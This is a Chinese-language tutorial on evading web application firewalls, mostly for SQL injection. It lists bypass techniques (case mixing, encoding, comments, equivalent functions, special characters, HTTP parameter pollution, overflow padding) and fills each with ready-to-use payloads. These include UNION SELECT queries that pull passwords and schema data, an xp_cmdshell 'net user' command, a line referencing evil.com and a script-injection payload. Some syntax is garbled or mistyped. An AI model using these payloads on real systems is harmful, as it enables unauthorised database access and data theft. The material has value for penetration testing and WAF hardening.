0x1 WAF的常见特征

之所以要谈到WAF的常见特征，是为了更好的了解WAF的运行机制，这样就能增加几分绕过的机会了。本文不对WAF做详细介绍，只谈及几点相关的。

总体来说，WAF(Web Application Firewall)的具有以下四个方面的功能：

\1. 审计设备：用来截获所有HTTP数据或者仅仅满足某些规则的会话

\2. 访问控制设备：用来控制对Web应用的访问，既包括主动安全模式也包括被动安全模式

\3. 架构/网络设计工具：当运行在反向代理模式，他们被用来分配职能，集中控制，虚拟基础结构等。

\4. WEB应用加固工具：这些功能增强被保护Web应用的安全性，它不仅能够屏蔽WEB应用固有弱点，而且能够保护WEB应用编程错误导致的安全隐患。

WAF的常见特点：

异常检测协议：拒绝不符合HTTP标准的请求

增强的输入验证：代理和服务端的验证，而不只是限于客户端验证

白名单&黑名单：白名单适用于稳定的We应用，黑名单适合处理已知问题

基于规则和基于异常的保护：基于规则更多的依赖黑名单机制，基于异常更为灵活

状态管理：重点进行会话保护

另还有：Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器，WAF有其识别之道：

扫描器识别主要由以下几点：

1) 扫描器指纹(head字段/请求参数值)，以wvs为例，会有很明显的Acunetix在内的标识

2) 单IP+ cookie某时间段内触发规则次数

3) 隐藏的链接标签等()

4) Cookie植入

5) 验证码验证，扫描器无法自动填充验证码

6) 单IP请求时间段内Webserver返回http状态404比例， 扫描器探测敏感目录基于字典，找不到文件则返回404

0x2 绕过WAF的方法

从目前能找到的资料来看，我把这些绕过waf的技术分为9类，包含从初级到高级技巧

a) 大小写混合

b)替换关键字

c)使用编码

d)使用注释

e)等价函数与命令

f)特殊符号

g)HTTP参数控制

h)缓冲区溢出

i)整合绕过

a) 大小写绕过

大小写绕过用于只针对小写或大写的关键字匹配技术，正则表达式/express/i 大小写不敏感即无法绕过，这是最简单的绕过技术

举例：z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

示例场景可能的情况为filter的规则里有对大小写转换的处理，但不是每个关键字或每种情况都有处理

b)替换关键字

这种情况下大小写转化无法绕过，而且正则表达式会替换或删除select、union这些关键字，如果只匹配一次就很容易绕过

举例：z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

同样是很基础的技术，有些时候甚至构造得更复杂：SeLSeselectleCTecT，不建议对此抱太大期望

c)使用编码

1.URL编码

在Chrome中输入一个连接，非保留字的字符浏览器会对其URL编码，如空格变为%20、单引号%27、左括号%28、右括号%29

普通的URL编码可能无法实现绕过，还存在一种情况URL编码只进行了一次过滤，可以用两次编码绕过：page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

2.十六进制编码

举例：z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4...

```
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
```

示例代码中，前者是对单个字符十六进制编码，后者则是对整个字符串编码，使用上来说较少见一点

3.Unicode编码

Unicode有所谓的标准编码和非标准编码，假设我们用的utf-8为标准编码，那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码：

单引号：%u0027、%u02b9、%u02bc、
%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例：?id=10%D6‘%20AND%201=2%23

SELECT 'Ä'='A'; #1

两个示例中，前者利用双字节绕过，比如对单引号转义操作变成'，那么就变成了%D6%5C'，%D6%5C构成了一个款字节即Unicode字节，单引号可以正常使用

第二个示例使用的是两种不同编码的字符的比较，它们比较的结果可能是True或者False，关键在于Unicode编码种类繁多，基于黑名单的过滤器无法处理所以情况，从而实现绕过

另外平时听得多一点的可能是utf-7的绕过，还有utf-16、utf-32的绕过，后者从成功的实现对google的绕过，有兴趣的朋友可以去了解下

常见的编码当然还有二进制、八进制，它们不一定都派得上用场，但后面会提到使用二进制的例子

d) 使用注释

看一下常见的用于注释的符号有哪些：*//, -- , /**/, #, --+,-- -, ;**，--a*

1.普通注释

举例：z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

'union%a0select pass from users#

/**/在构造得查询语句中插入注释，规避对空格的依赖或关键字识别;#、--+用于终结语句的查询

2.内联注释

相比普通注释，内联注释用的更多，它有一个特性/!**/只有MySQL能识别

举例：index.php?page_id=-15 */!UNION/ /!SELECT/* 1,2,3

?page_id=null%0A/***//!50000%55nIOn//yoyu/*all*//%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...

两个示例中前者使用内联注释，后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分，要做到这一点后面讨论的特殊符号也能实现，当然前提是包括/、*在内的这些字符能正常使用

e)等价函数与命令

有些函数或命令因其关键字被检测出来而无法使用，但是在很多情况下可以使用与之等价或类似的代码替代其使用

1.函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例：substring()和substr()无法使用时：?
id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者：substr((select 'password'),1,1) = 0x70

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

上述这几个示例用于说明有时候当某个函数不能使用时，还可以找到其他的函数替代其实现，置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

2.符号

and和or有可能不能使用，或者可以试下&&和||能不能用；还有=不能使用的情况，可以考虑尝试<、>，因为如果不小于又不大于，那边是等于了

在看一下用得多的空格，可以使用如下符号表示其作用：%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函数

MySQL/PostgreSQL支持XML函数：Select UpdateXML('
','/script/@x/','src=//evil.com');

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多自己的函数，基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能，而且代价太大，看来黑名单技术到一定程度便遇到了限制

f) 特殊符号

这里我把非字母数字的字符都规在了特殊符号一类，特殊符号有特殊的含义和用法，涉及信息量比前面提到的几种都要多

先看下乌云drops上"waf的绕过技巧"一文使用的几个例子：

1.使用反引号，例如`select`version()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用

2.神奇的"-+."，select+id-1+1.from users; "+"是用于字符串连接的，"-"和"."在此也用于连接，可以逃过空格和关键字过滤

3.@符号，select@^1.from users; @用于变量定义如@*var_name*，一个@表示用户定义，@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制

可见，使用这些字符的确是能做很多事，也证实了那句老话，只有想不到，没有做不到

本人搜罗了部分可能发挥大作用的字符(未包括'、*、/等在内，考虑到前面已经出现较多次了)：`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例：

关键字拆分：‘se’+‘lec’+‘t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

!和()：' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)　//另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

本节最后在给出一些和这些字符多少有点关系的操作符供参考：

>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些"特殊符号"实现绕过是一件很细微的事情，一方面各家数据库对有效符号的处理是不一样的，另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

g) HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改，还包括HTTP方法、HTTP头的控制

1.HPP(HTTP Parameter Polution)

举例：/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users

HPP又称做重复参数污染，最简单的就是?uid=1&uid=2&uid=3，对于这种情况，不同的Web服务器处理方式如下：

Web Server	Parameter Interpretation	Example
ASP.NET/IIS	Concatenation by comma	par1=val1,val2
ASP/IIS	Concatenation by comma	par1=val1,val2
PHP/Apache	The last param is resulting	par1=val2
JSP/Tomcat	The first param is resulting	par1=val1
Perl/Apache	The first param is resulting	par1=val1
DBMan	Concatenation by two tildes	par1=val1~~val2

具体WAF如何处理，要看其设置的规则，不过就示例中最后一个来看有较大可能绕过

2.HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入，同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例：

/?a=1+union/*&b*=/select+1,pass/*&c*=/from+users--

select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看罢上面两个示例，发现和HPP最后一个示例很像，不同之处在于参数不一样，这里是在不同的参数之间进行分割，到了数据库执行查询时再合并语句。

3.HPC(HTTP Parameter Contamination)

这一概念见于exploit-db上的paper：Beyond SQLi: Obfuscate and Bypass，Contamination同样意为污染

RFC2396定义了如下一些字符：

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：

Query String	Web Servers response / GET values		
	Apache/2.2.16, PHP/5.3.3	IIS6/ASP	
?test[1=2	test_1=2	test[1=2	
?test=%	test=%	test=	
?test%00=1	test=1	test=1	
?test=1%001	NULL	test=1	
?test+d=1+2	test_d=1 2	test d=1 2	

以魔术字符%为例，Asp/Asp.net会受到影响

Keywords	WAF	ASP/ASP.NET
sele%ct * fr%om..	sele%ct * fr%om..	select * from..
;dr%op ta%ble xxx	;dr%op ta%ble xxx	;drop table xxx
<scr%ipt>	<scr%ipt>	<script>
<if%rame>	<if%rame>	<iframe>

h) 缓冲区溢出(Advanced)

缓冲区溢出用于对付WAF，有不少WAF是C语言写的，而C语言自身没有缓冲区保护机制，因此如果WAF在处理测试向量时超出了其缓冲区长度，就会引发bug从而实现绕过

举例：

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面"A"重复1000次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里1000只做参考，在某些情况下可能不需要这么长也能溢出

i) 整合绕过

整合的意思是结合使用前面谈到的各种绕过技术，单一的技术可能无法绕过过滤机制，但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系，另一方面则是多种技术的使用创造了更多的可能性，除非每一种技术单独都无法使用，否则它们能产生比自身大得多的能量。

举例：

```
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
```

```
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()- -
```

```
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
```